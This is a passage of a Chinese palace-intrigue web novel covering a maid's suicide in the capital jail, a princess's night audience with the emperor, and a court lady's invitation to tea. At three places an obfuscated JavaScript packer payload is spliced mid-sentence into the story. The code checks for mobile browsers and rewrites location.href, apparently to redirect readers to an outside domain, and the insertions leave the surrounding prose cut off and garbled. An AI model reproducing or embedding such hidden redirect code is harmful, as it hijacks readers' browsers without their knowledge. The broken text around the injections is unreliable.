宁熙深吸一口气,几息后缓慢吐出,他抬手揉揉额角,“今日赴宴,我本就带着几分小心。没想到你倒是不设防备。我该说你太信任自己,还是太信任我?” 万姝丹闻言扑哧一声。 宁熙投来一眼。 万姝丹迎着他的目光,承认道:“我确实听见了,可我本不该听见。在爬山廊的作用下,丝竹声被扩大许多,连第五璟都没听到,秦可兰如何能听到?只是连第五璟都没反应过来,殿下却反应过来了,看来殿下放在我身上的心神有点多啊。” 宁熙垂下了眉眼,并不理这句话。 万姝丹也不再逗他,“今日杜府本打算借着宴会,给金荆榴木遇水发香的事情一个交代,没想到一事未结,又生出别的事端。这杜晏肯与我交底,无非临时的盟友也是盟友。我与他都想知道若云针对我、针对安王府的原因。” 宁熙起身,“画舫之事未了,若再与我与你交恶,闹出的动静更大了。这对杜府来说并无益处,杜晏自然想要撇清关系,与你交底是他的诚意。这一点上也能看出杜三郎为何能广泛交友了。走吧,回府了。” 万姝丹上了马车后说:“此事也不知会走向何处。” 宁熙闭目养神,“也许今晚就见分晓了。” 这句话一语成谶。 一更三点时分,京兆府来人了。 万姝丹与宁熙同一时间得到消息。她披衣起身,出熹微院,就看到了宁熙。二人一同走到府门。 那人一副书生样,他行礼道:“下官京兆府少尹刘安然,奉府尹之命,请殿下走一趟京兆府。” 宁熙询问:“什么事?” 刘安然并未隐瞒,“若云死了。” 35.柳暗 “什么?” “怎么死的?” 刘安然双手一拱,“殿下去看看就知道了。” 宁熙没做声,沉默地看着刘安然。 万姝丹上前半步,与宁熙并肩而站,她缓缓说道:“少尹,先不说时间是否合适。单说那若云是杜府的婢女,意图尚不明确。” “在杜府时她一字未说,去了京兆府倒是说了些东西出来。这其中关系,少尹可有头绪?如今她忽然身死京兆府狱中,距她吐露实情尚不满半日,不知少尹要作何解释?” 刘安然似是预料到会遭受质疑,神色不变,他再次行礼,“王妃误会下官了。若云身死,确实是京兆府疏忽。请殿下去京兆府,并无别的意思。只是这件事透露着诡异,姚府尹认为还是让殿下亲自去看看比较好。” “至于为何是我前来,实是因为杜府长君和赫元侯家三郎已经到京兆府了,姚府尹走不开。还望王妃海涵。” 宁熙淡淡笑了,“少尹不必如此,我与你走一趟就是了。” 他偏过身,握了握万姝丹的手,“没事的,不必担忧,我去去就回。” 万姝丹看向宁熙,他拍了拍她的手,要她放心。 刘安然垂着双眼,“如此,劳烦殿下了。” 景煜抖开一件外衫,为宁熙穿上。 万姝丹看着这几人翻身上马,往京兆府的方向去了。 颜宥津站在万姝丹身后,低声说:“王妃,夜深了,先回屋里吧。” 万姝丹在门廊下来回踱步,她的右手握成拳,与左掌轻轻相撞,思索着。 见状,颜宥津不再开口,站至一侧。 突然,万姝丹双手一拍,清脆的响声在这寂静的夜里格外明显,“快,备马车,去京兆府!” 颜宥津微微一怔,随即下去安排了。 万姝丹又对寻夏说:“取一件我的外衫来。” 马车备好后,万姝丹看了一眼颜宥津手中的风灯,“换一盏大的、灯油多的。” 颜宥津又是一愣,虽然不明白为何,还是照做了。 马车从侧门驶出安王府。 万姝丹坐在马车中,总有些心绪不宁。不知是车帘厚重,还是何缘,她觉得车厢里闷闷的。 能让姚崇峻连夜喊宁熙、杜昊、第五璟去京兆府,只能是若云的死有问题。 可有什么样的问题,要怀疑到这三人头上呢? 若云死了,无外乎自杀与他杀。 如果是他杀,依照下午知道的信息,除了杜昊与若云有契约关系,是接触若云时间最长的人。剩下的二人,与若云不过是初见。 非要说的话,无非是若云死了,需要告知一下相关人。然而,第五璟与若云又有何干系?他当时不过是随着去押送若云的,最多是爱凑热闹。杜昊也没有出言阻拦,可见身正不怕影斜,如此有信心,只能说明若云针对自己这件事与杜府无关。 不过通知讣告,何须半夜? 而且他杀的话,找凶手更为重要吧? 那如果是自杀呢? 自杀? 若云有什么理由自杀? 万姝丹摇摇头,猜不透这其中关窍。她正沉浸在自己的思绪里,忽然马车停了。 颜宥津隔着帘子说:“王妃,有人拦车。” 万姝丹眉头一跳,沉稳道:“谁?” “没想到在这里见到四娘了。” 是杜晏。 “看来杜三郎与我一样,都是不睡觉之人。” 杜晏的声音离得近了些,“睡不着,因此出来走走,正巧看见安王府的马车,想来是有什么急事吧?” 万姝丹反唇相讥,“三郎夤夜出门,总不能是闲来无事,看看月色吧?” 杜晏哈哈一笑,“我猜四娘与我要去的地方相同,不如一同前往?” 万姝丹舌尖轻抵上颚,沉默一瞬,“路上有三郎作陪,想来会一路畅通、平安抵达吧。” 马车轻微一晃,杜晏坐上了车辕,声音隔着车帘传来,“应当是四娘保我才是。” 夜晚有执金吾巡逻,见了安王府的马车,车辕上还坐着杜家三郎,因而未加阻拦。 一路到了京兆府,万姝丹借着颜宥津的手下了马车,就见杜晏站在一旁,脸上堆着笑。 万姝丹睨他一眼,“三郎一路倒是安静,不如先给我透个底?让我有个心理准备。” 杜晏笑意渐落,无奈叹气,“事有轻重缓急,有些事我能探得,有些事我也不比四娘知道得多。” 万姝丹心中有了个大概,此事姚崇峻看得紧。 颜宥津上前敲了敲京兆府的大门。 守门的兵卫开了门,并不认得眼前这三人,“你们是?” 颜宥津说:“这位是安王妃,这位是杜家三郎。我们有事要面见姚府尹,还望通禀一声。” 兵卫闻言,连忙行礼,“小人不知王妃驾到,实在是失礼……” 万姝丹摆摆手,“不必多礼,今夜姚府尹传了我家五郎,我到底是不放心,因此过来看看。” 兵卫说:“还请王妃稍候。” 不多时,刘安然跟着兵卫出来了。 他看了一眼在场的三人,行礼道:“下官见过王妃、杜三郎,请随我来吧。” 一行人走进大堂。 刘安然对二人说道:“王妃请随我来,三郎请在此稍候。” 依着姚崇峻的脾性,杜昊已经来了,杜晏就无需再来,所以他本来是进不了京兆府的大门。只因杜晏是跟着万姝丹一起,也就放进来了。然他没有官职傍身,又与若云之死并无直接关系,所以是无法进入牢狱之中的。 杜晏进了大堂,已达成他的目的,因而说道:“少尹请便。” 他来此,不过是想第一时间帮衬一下他大哥,因为他觉得若云的死并不简单。 万姝丹随着刘安然绕过大堂,走到后院,来到牢狱前,就见宁熙匆匆走出来。 刘安然迈出去的脚收了回来,“殿下?” 宁熙猛地站定,看见了刘安然身后的万姝丹,他对刘安然略一点头,对万姝丹说:“你怎么来了?” 万姝丹走近几步,“我在府中左思右想,觉得姚府尹连夜喊走殿下,必是有什么大事。我作为当事人之一,想来看看也没有什么的吧?” 这话虽然是对宁熙说的,也是说给刘安然听的。 果然刘安然拱手说道:“王妃所言有理,此事实际是王妃与若云之间的事情。即便那若云矢口否认是针对王妃一人,然而王妃毕竟是第一受害人,有权探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姚崇峻面色凝重,“实在是没想到她会把刀藏在自己的皮肤之下,她是抱着必死的心进来京兆府。不巧的是,今日殿院知左巡的侍御史贺之元巡京兆府,见到了若云的死状。如今这事,肯定无法瞒住。这血书……一定会传进陛下耳中。与其让陛下通过别人之口得知,还是我去上奏合适。” 宁熙站在牢房门口,“若云在狱中自杀,与京兆府监管不严脱不开关系。我三人将若云押进京兆府,一路上并未发现她的异常,也有失职之嫌。今夜的场面,一字一画都不能对外宣扬。不若都歇在京兆府,等皇上的传唤吧。” 刘安然此时说:“那杜晏还等在大堂。” 杜昊听到自家三弟也来了,露出慌张,“我这就劝他回去!” 姚崇峻点头,“殿下所言不错,杜长君千万不要对三郎有所透露。” 杜昊脚步虚浮地离开了。 宁熙走过来碰了碰万姝丹的袖子,将她带到牢狱入口处,低声说:“你其实也不该来。” 万姝丹抿唇,“我脱不开关系。来就来了,无妨。” 宁熙皱眉,望向她的右臂,“你……” 万姝丹摇摇头。 姚崇峻走了过来,“现场我会保护好。殿下王妃去歇息歇息吧。” 他们刚走到中庭,就见一人从前堂走来,他对万姝丹行礼道:“下官贺之元,奉陛下之命,请王妃入宫一趟。” 36.花明 万姝丹怔住,她一下子没反应过来,面露错愕。 宁熙上前一步,把万姝丹挡在身后,“贺御史,可知陛下深夜召见,是为何事?” 贺之元站得笔直,他反问:“殿下深夜出现在京兆府,是为何事?” 这是表明不愿回答了。 宁熙并不恼,“我记得,殿中侍御史巡刑部、大理寺、京兆府、金吾狱、县狱,是在每月月底。” 今日是三月初八。 万姝丹的视线被宁熙全部挡住了,她看着宁熙的背影,心中徒然升起一股莫名心安的情绪。她不知这种情绪从何而来,除去慕青、沈济之外,宁熙是第三个给她这种感觉的人。 熟悉又陌生。 熟悉的是这种情绪。 陌生的是对宁熙产生了这种情绪。 在场众人听了先前贺之元的话,以为他不会对为何月初就巡京中诸狱司做出回答。 贺之元却掸了掸袖子,回道:“奉御史台之令。” 这句话不完全有用。 因为贺之元所在的殿院本就属于御史台,能更改巡视时间的,也只有御史台可以。不过他的话排除了其他的可能性,而御史台对皇帝负责,听从皇帝的调动。因而此番月初的巡视,是皇帝下的命令。 好巧不巧,若云就撞在这个时候自杀。 如果说这背后真有人可以做到如此地步,那真是细思极恐,这一步又一步棋,衔接得严丝合缝。 万姝丹右手轻轻动了动,也不知道她能不能成为其中的一个变数,还是说同样会遂了幕后之人的意? 不管怎样,皇帝召见她,她必须得进宫。 思及此,万姝丹从宁熙身后缓步走出,与他并肩站立,“既然是陛下的意思,那就有劳贺御史了。” 身侧宁熙动了动。 贺之元向万姝丹行礼,“下官在大堂等候,还请王妃尽快。” 说完他转身就离开了。 在贺之元身影消失的那一瞬,宁熙抓住了万姝丹的大臂,他紧缩着眉头,却不知从何开口。 要她小心? 还是要她别去? 前一点万姝丹还能不知道小心行事吗?她有胆量只身入王府,周旋在皇族与世家之间。宁熙对她的临场应变有所目睹。 至于后一点,皇帝的命令谁能不遵从? 其他人见状,都纷纷避开,将庭院留给这二人。 宁熙心中一团乱麻,他实在是想跟着一起进宫。不过,这也是不可能的。 可万姝丹,万姝丹她毕竟不是秦可兰,让她一人进宫,宁熙这心就放不下。 见宁熙几次张口,都没有说话,万姝丹轻轻将胳膊从他手中挣脱,一掌拍在他肩上。 这一巴掌,拍得宁熙神魂归位了。 万姝丹盯着他的脸色,“你紧张什么?此事本就与你我无关。” 宁熙吐出一口气,“你不知道……” 若云的血书直指武帝,我那父亲狠绝,宁可错杀绝不放过。 万姝丹摆摆手,往大堂方向走去,“我懂我懂,你再拦着我,时间越长,皇上说不定越生气。” 宁熙连忙跟上几步,在她身后说:“你要小心一些。” 万姝丹回首一笑,“知道了。” 走进大堂,这里只有贺之元一人。 杜晏应该已经回了杜府,杜昊则不知去了哪里,想来也出不去京兆府。 见万姝丹这么快就出来了,贺之元露出一个极浅的笑,“陛下听说王妃也在京兆府后,怕王妃受到惊吓。王妃一人不远万里来到京城本就不易,若是再被吓到就不好了。” 万姝丹盈盈一拜,“陛下惦念我,是我的福分。贺御史深夜还在奔走,着实辛苦。” 贺之元伸手作请,“王妃这些话亲自对陛下说吧。请。” 到了京兆府门口,贺之元亲自驾一辆从宫里来的马车。 万姝丹看了一眼那辆马车上悬挂的风灯,对贺之元说:“贺御史稍等,我有点夜盲,需要明亮的风灯,才不至于摔跤,也就不会殿前失仪了。” 贺之元点点头表示了解,但也没多问,只说:“王妃请便。” 万姝丹从颜宥津手里拿过大风灯,挂在贺之元的马车上,就上了车。 其时宫城已经落了锁,贺之元驾着马车到了西华门,他对着车帘说:“王妃,请下车吧。” 旁边有小内侍掀起车帘,扶着万姝丹下了车。 贺之元说:“陛下在临水殿等候王妃。” 万姝丹道了声谢,“有劳贺御史。” 那名小内侍取下马车上的大风灯,走在万姝丹半步前,为她打着灯。 小内侍路上不言语,万姝丹也不说话。 行至半路时,下起了蒙蒙细雨。 小内侍没有伞,也没有去寻一把伞,只是微微加快了脚步。 万姝丹心里一阵冷笑。果然人都是趋炎附势的,宁熙不受重视,连带着她也跟着不受重视。 到了临水殿。 苏尚候在殿外,见了此景,他拿手指了指小内侍,“你要死啊你,王妃淋了雨,一身湿气,怎么见驾?陛下喝过醒酒汤不久,此刻正缓着神。王妃随我来,换身衣服吧,仔细着别风寒了。” 万姝丹随着一名宫女去偏殿换衣服了。 待穿戴整齐,苏尚端着一碗姜汤走进来。 万姝丹喝碗汤,苏尚笑眯眯地说:“陛下现在精神比方才好多了,王妃大可放心。” 进了正殿,就见武帝靠在榻上,手里拿着一卷书。 万姝丹直接跪了下来,“女儿见过父亲。” 武帝“嗯”了一声,“听说你今天在杜府受伤了?” 万姝丹头还抵在地上,“女儿一时不察,受了点伤,让父亲担心了。” 武帝放下手中的书卷,“那名婢女蓄意谋害你,你就是再仔细,也防不胜防。此事错不在你。” 这个姿势让万姝丹觉得十分难受,她感觉到自己的大脑开始充血,却仍要保持着思考。她听了这话,并没有放下戒备,反而将心提了起来。 什么意思? 错不在她。那还能是杜府不成? 先不说杜府与四皇子宁恪之间的姻亲关系,就单说一个杜若,那可是尚书省右仆射,皇帝亲自提拔上来的,她总不能说是杜府的错吧? 思及此,万姝丹尝试着说:“那婢女过于狡猾,蒙蔽了所有人。” 武帝说:“那婢女其心可诛,胆敢伤害我儿,千刀万剐不足平息朕之怒!” 万姝丹听得此话,发现武帝的话头一直绕在自己头上,并不提及杜府,也把重心落在了自己身上,她语带哽咽,“能得父亲如此关怀,女儿不胜感激。” 武帝看着万姝丹缩在袖子里的手,说:“苏尚,今日是谁在尚药局当值?” 苏尚说:“回陛下,是蒋捷蒋侍御医,已经在殿外候着了。” 武帝点点头,“让他进来。来,可兰,坐这,让蒋捷给你看看。” 万姝丹起身,顺着武帝的指示坐在塌的另一侧。 蒋捷进来后,行礼道:“陛下,王妃。” 武帝抬抬手,“我儿受伤了,你给她看看,要用最好的药。” 蒋捷把眼看向万姝丹。 万姝丹掀起自己的衣袖,蒋捷轻轻将绑带拆开,露出了药膏。 武帝看着那药膏,“我这里有更好的。” 蒋捷停顿一下,说:“臣需要布巾和一盆清水。” 苏尚忙不迭吩咐了下去。 不多时东西备齐了。 蒋捷对宫女说:“劳烦擦去这层药膏。” 宫女拿着布巾,沾了沾水,一点一点擦去敷好的药膏。 杜晃的药虽然管用,但滚烫的热水泼溅在她手臂上,伤得重。此时轻微的触碰也十分疼痛。 这痛万姝丹可以忍,但现在不能忍。她行走江湖受伤无数,秦可兰可不是。然而秦可兰也不可能像寻常贵女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199352|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那般娇柔喊疼。 所以万姝丹此刻只是皱眉,咬紧了嘴唇,一言不发、一声不哼。 宫女手脚麻利,没多久就将药膏全部擦掉了,露出了红色的烫伤和上面满满一层的水泡,有的地方甚至已经脱皮了。 蒋捷见状说:“王妃烫得不轻。” 武帝看见了那伤状,一掌拍在塌上的小几上,“简直岂有此理!把我儿伤成这样!” 蒋捷已经开始重新上药了,“陛下放心,臣会医好王妃的。” 武帝问:“会留疤吗?” 蒋捷说:“及时换药的话,是不会的。” 武帝放松了姿态,“那就好。” 蒋捷快速上好了药,缠好绑带,将一盒药膏留下,就退了出去。 夜更深了,武帝似乎是累了,他用手撑着头,闭眼问:“你今晚去京兆府了?” 万姝丹心想终于来了,她提起精神,斟酌着字句,“是刘少尹敲开了府门,说要请五郎去一趟京兆府,因为若云死在了狱中。我与那若云无冤无仇,她却要害我,挑拨安王府与杜府的关系,其心可怖。” “虽说五郎一人足矣,可我不能亲眼见到若云的死,就不能彻底安心。如果若云还未死,我也会去京兆府审问她。这不仅是为我自己,也是为了杜府,为了父亲。” 武帝叹气,“你与秦静真的很像。早年间秦静随我征战时,有一次我意外受了伤,秦静不放心别人去查,自己去查的。” 万姝丹不知道还有这段往事,一时间怔住了,她很快反应过来,低声说:“我从未听父亲说起过这段往事呢。” 这里的父亲是指秦静。 武帝说:“秦静小心谨慎惯了,除了当时的人,他从未对任何人说起过。” 万姝丹低垂下眉眼,“能为陛下分忧,是父亲的荣幸。” 武帝声音忽然变得严厉起来,“我将你接进京城,不是让你受欺负来的。我儿放心,我已下旨封你为长安郡主。” 万姝丹心中大喜,果然这番苦肉计有了一个好结果。她面上却不显,立时起身跪下,“女儿,女儿能得父亲如此看重,女儿实在不知要如何报答父亲……” 武帝挥了挥手,“好了好了,起来吧。我予你封号,是为了让你报答我的?你看顾好自己就行。已经很晚了,你就宿在宫中吧。苏尚,带她去望舒殿。” “另外你派人去京兆府,让那几个人都散了各自回去吧。但要告诉他们,该说的不该说的多掂量掂量。让姚崇峻明日写份折子直接交到我手上,然后就把若云的尸体交给御史台吧。” 万姝丹跟着苏尚出了临水殿。 一名宫女在旁侧捧着万姝丹原先的衣服。 苏尚指了指衣服说:“王妃的衣物已让人烘干了。” 万姝丹笑得温柔,“有劳苏内侍。” 那名小内侍仍然拿着大风灯,没说话,但面上的神情已不似刚才。他殷勤地站在万姝丹身前半步,将大风灯提在不近不远的距离,既不会妨碍万姝丹行走,也能让她看清脚下。 这时雨已经停了,石板路上有些潮湿。 苏尚一边走一边说:“王妃小心脚下。” 他偷偷看了看万姝丹的神色,“其实陛下听到王妃那样的话是高兴的。” 万姝丹知道说的是“报答”那句话。 苏尚又说:“所有的人都是得陛下恩赐,只是有的人在这份隆恩之中迷了眼、走错了路。” 万姝丹轻轻说:“多谢苏内侍提点我。” 苏尚说:“王妃谦虚了。王妃若是一心只为陛下,日后会越来越好的。” 万姝丹脸上在笑,心中冷淡。 是了,这些荣誉、地位都来自皇上,一朝荣辱兴衰也全看皇上心情。在这皇权之下,只有被压着的份。 可万姝丹又岂是甘愿把命运交给他人的人? 这时望舒殿到了,苏尚躬身道:“王妃好生歇息,我已经派人去京兆府告知五殿下了,还请王妃放心。” 37.山重(一) 三月初九。 一名魁宿卫驾着马车将万姝丹送回了安王府。 宁熙听说万姝丹回来了,披起一件长衫就往外走去,迎面撞上了想要回熹微院的万姝丹。 万姝丹昨晚在宫中望舒殿睡了一晚,休息得还不错。她睡觉时也很警觉,只要有人靠近就会醒来,这是走江湖时养成的习惯。 她本以为在宫里会有人想要窥探她,事实证明她过度担心了。 这一夜相安无事,虽然比不上在熹微院睡得平稳,不过也恢复了精神。 反观宁熙,似乎是一夜无眠的样子。 万姝丹借着微明的天色,看了看宁熙的脸,“殿下怎么看起来这么憔悴?” 宁熙捏了捏眉骨,“你跟我来。” 万姝丹见他神色病殃殃的,没有多说什么,跟在他身后去了岁安堂。 一进岁安堂,宁熙拉过万姝丹,将她转了个圈,从头到脚仔细瞧了瞧,最后问:“没事吧?” 万姝丹被转得不明所以,还是任他摆弄着自己。 听到这句话,她轻笑道:“皇上总不能吃了我。” 宁熙的表情仍没有放松。 虽然万姝丹身上穿的这件衣服和昨晚她进宫前是同一套,可宫里是什么情况,宁熙再清楚不过。那些趋炎附势的人,昨晚下了小雨,他们会那么好心为她撑伞吗? 忽然他想到什么,轻轻将她右手捧起,把衣袖往上推了推,露出缠好的绑带。 一见到这绑带,宁熙就皱起了眉,“你换药了?” 万姝丹惊诧,不明白他是怎么看出来的。她把昨晚的经过从头到尾都说了,在听到宫女用沾湿的布巾擦去她手臂上原本敷的药膏时,宁熙脸色更难看了。 可他终究没有说什么,那是皇帝的意思。目的为何,他或多或少都能猜出一些,无非是想看看万姝丹伤得严不严重。不严重的话,就让她在宫里睡一晚权当安慰。 “所以我至今还不太明白封我为郡主,是不是我这一场苦肉计起效果了?昨晚刚听到这个旨意的时候,我大喜过头了。现在想想,仅凭胳膊的烫伤,如何能册封郡主?” 宁熙被她的话拉回思绪,他靠在榻上,不怎么高兴,“这只是其一,因为你确实伤得严重。你是皇帝亲自下旨赐婚、又是秦静唯一留存的子嗣,许多人都不清楚,你的背后其实就是皇帝。皇帝见他万里迢迢召入京中的人这般遭遇,甚至连我都不重视你,自然想要提一提你的地位。” “长公主一直认为这门婚事门不当户不对,现在你封为郡主,也可以彻底堵住长公主的心思了。” 万姝丹并没有因为这番话感到放松,“可是郡主之封未免过高了些。现在安王府的一切都是皇帝给予的,他这般大张旗鼓封将军封郡主,是不是想让咱们明白如今只能依靠他。他想要东宫顺利坐上皇位,所以安王府和东宫是一条线上的,你我就是挡在太子身前的人。” “原本以为太子地位上去了,咱们就可以轻松轻松,没想到老狐狸不打算放过任何一个可以利用之人。” 宁熙微微摇头,“其实无论怎么逼迫我站在东宫面前,我都无法直接为东宫挡下灾难。所以之前的推论并无问题,太子日后起势,你我就可以躲在太子的影子下面了。” 万姝丹语结,“那这般利用你我,就是为了转移部分视线,好让太子前期好过一点?” 宁熙垂着眼睛,面有倦容,“我是如何坐到执金吾左将军这个位置的,沈济之应该比我清楚。” 万姝丹语塞,她还真没这么详细问过。 她忽然觉得不对,“殿下你方才说‘不重视我’,看来我为什么封郡主,殿下知道的也比我多?” 宁熙抬眼望向她,他的眼皮已经困出好几层褶皱了,“金川楼起火那日我进宫时,确实没有主动提及你,本想着是你刚嫁入王府,我就表现得与你太过亲近似乎不好。虽然你是皇帝下旨选的新娘,可我多年来身边一直没有亲近之人,贸然拉近关系难免让人怀疑。没想到却是成了册封你为郡主的一点因由,也是无心插柳柳成荫了。” 万姝丹玩味地说:“难怪自那以后,你在外面都要表现得与我琴瑟和鸣。” “你演得也不差。” 万姝丹拨了拨自己的鬓发,“那是殿下教得好。你在宫中那早,不是说有些事情不一定非要有个结果?其实我这次故意烫伤,心中也是七上八下的。没想到多方巧合之下,倒是完成了我的愿望。” 宁熙眉头一跳,“你……下次能不能学点好的?” 万姝丹长眉一挑,把自己的右臂摆在小几上,往宁熙那边凑,“殿下好生奇怪,你自己用的方法,放到我身上怎么就不可以?” 宁熙看着这熟悉的一招,七年前她也是这么把那个被簪子捅出的血洞往自己眼前凑。他一手抓住万姝丹的手腕,另一只手轻轻碰了碰那绑带,“我有把自己伤成这样吗?疼不疼?” 万姝丹另一只手撑着脸,“殿下还跪了一上午呢,最后还不是被抬出来的?不疼了,你别说,这宫里的药就是好使。我估摸要不了几天就全好了。” 宁熙叹气,“没有下次了,这句话我都说过一次了。你总是把自己置于危险的境地。我知道你厉害,可万一真有一天,你浑身是伤回来,那要怎么办?” 万姝丹嗤笑,“你也不看看现在是什么情况,我想不装弱小不装可怜,可这现实吗?” 宁熙面露出一丝痛苦,“是我……” 万姝丹打断他的话,“二哥行事为达目的不择手段,我得他亲传,不仅对别人狠,对自己也狠,只要能得到想要的结果,我在所不惜。” “殿下,我们被逼着走上一条不归路,又岂是自己的错?” “对了,下次殿下若是心疼我,直说就好了,何必含含蓄蓄。歇着吧。” 直到万姝丹离开,宁熙疲惫地笑了声,回到内间歇息去了。 下午时,册封的诏书下来了。没过几盏茶的时间,平王府的请帖就到了。 万姝丹打开一看,“嗯?郑琬请我去平王府上吃茶。” 景煜说:“王妃册封这件事肯定会在京城传开,到时候就不止三皇子一家邀请王妃了。” 万姝丹表示了解,“走吧,赴宴去。” 景煜问:“需要跟殿下说一声吗?” 万姝丹摆摆手,“让殿下好好休息吧。” 下了马车,就看见郑琬从门里迎出来,见万姝丹穿着金线挑的鱼鳞联珠双丝绫绯裙,外罩一件天水碧广袖对襟长衫,她笑着说:“可兰今儿个真漂亮,快来,东西都备好了,就等你了。” 万姝丹扬起一个明媚的笑容,握住郑琬递来的手,“又让三嫂嫂久等了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“据说那被害人是她的母亲,后来又说不是,是她的养母。当时曾有传言说她杀了自己的养母,闹过一阵子。最后证实了人不是她杀的。可她仍被关进大理寺一段日子。没想到这次进京兆府衙去了。一个被记录在卷宗里的婢女,也不知道杜府怎么还留着她。” 万姝丹确实不知这若云还有此等过去,她不禁怀疑郑琬是从哪里得知的,转念一想,郑琬的父亲是大理寺卿,说不定还亲自审理过这个案子。 她讶然道:“没想到这个婢女还有这些往事?可真够吓人的,不知嫂嫂从何处听来的?” 郑琬说:“我父亲供职在大理寺,当年他见过这份卷宗,亲自批的。” 倒是诚实,那这件事十有八九就是真的了。 万姝丹默不作声观察着郑琬,见她并无异色,真像是不经意而为之。可万姝丹觉得,今日邀她来平王府,为的就是此事。 郑琬这么做是为什么?她知道了自己昨夜去了京兆府衙? 万姝丹猜不透。 直到她从平王府出来,仍在思考这事。 颜宥津问她:“王妃,回府吗?” 万姝丹上了马车,拍拍他的肩膀,示意先离开这里。 走出一条街后,万姝丹问:“你可知道若是想寻杜晏,除了杜府,还能去哪里找他?”